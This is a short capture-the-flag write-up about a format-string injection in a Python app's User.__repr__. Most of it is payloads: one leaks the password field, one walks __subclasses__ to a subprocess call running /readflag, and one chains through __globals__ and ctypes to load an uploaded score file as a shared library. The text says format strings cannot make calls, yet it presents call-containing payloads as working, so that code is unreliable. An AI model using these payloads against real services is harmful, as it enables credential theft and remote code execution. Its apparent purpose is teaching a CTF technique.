Challenge

A Python app whose User.__repr__ built a string and then called .format(i=self) on it a second time. Since the username landed inside that string before the second format pass, attacker-controlled text got evaluated as a Python format string, the same class of bug as a challenge I wrote for HackPack CTF.

1
2
3
4
def __repr__(self):
    first = '<User {u.username} (id {{i.id}})>'.format(u=self)
    second = first.format(i=self)   # username is re-formatted here
    return second

A username of {i.password} leaks the password; {i} gives self.

Approach

Format strings only do attribute and item lookups, not calls, but that is enough to climb the object graph:

{i.setpw.__class__.__base__.__subclasses__()}

Index to a class that runs subprocesses and you have RCE. Locally I caught a reverse shell and ran /readflag:

{i.setpw.__class__.__base__.__subclasses__()[542]('/readflag',shell=True,stdout=-1).communicate()[0].strip()}

On remote, the subclass offset drifts and calling functions inside a format string is awkward, so the clean exfil loads a shared object purely through lookups:

{i.__init__.__globals__[__builtins__][__loader__].load_module.__globals__[sys].modules[ctypes].cdll[/home/app/app/scores/<id>.score]}

Writing the payload to a score file and triggering the repr loads it as a library, no function call needed.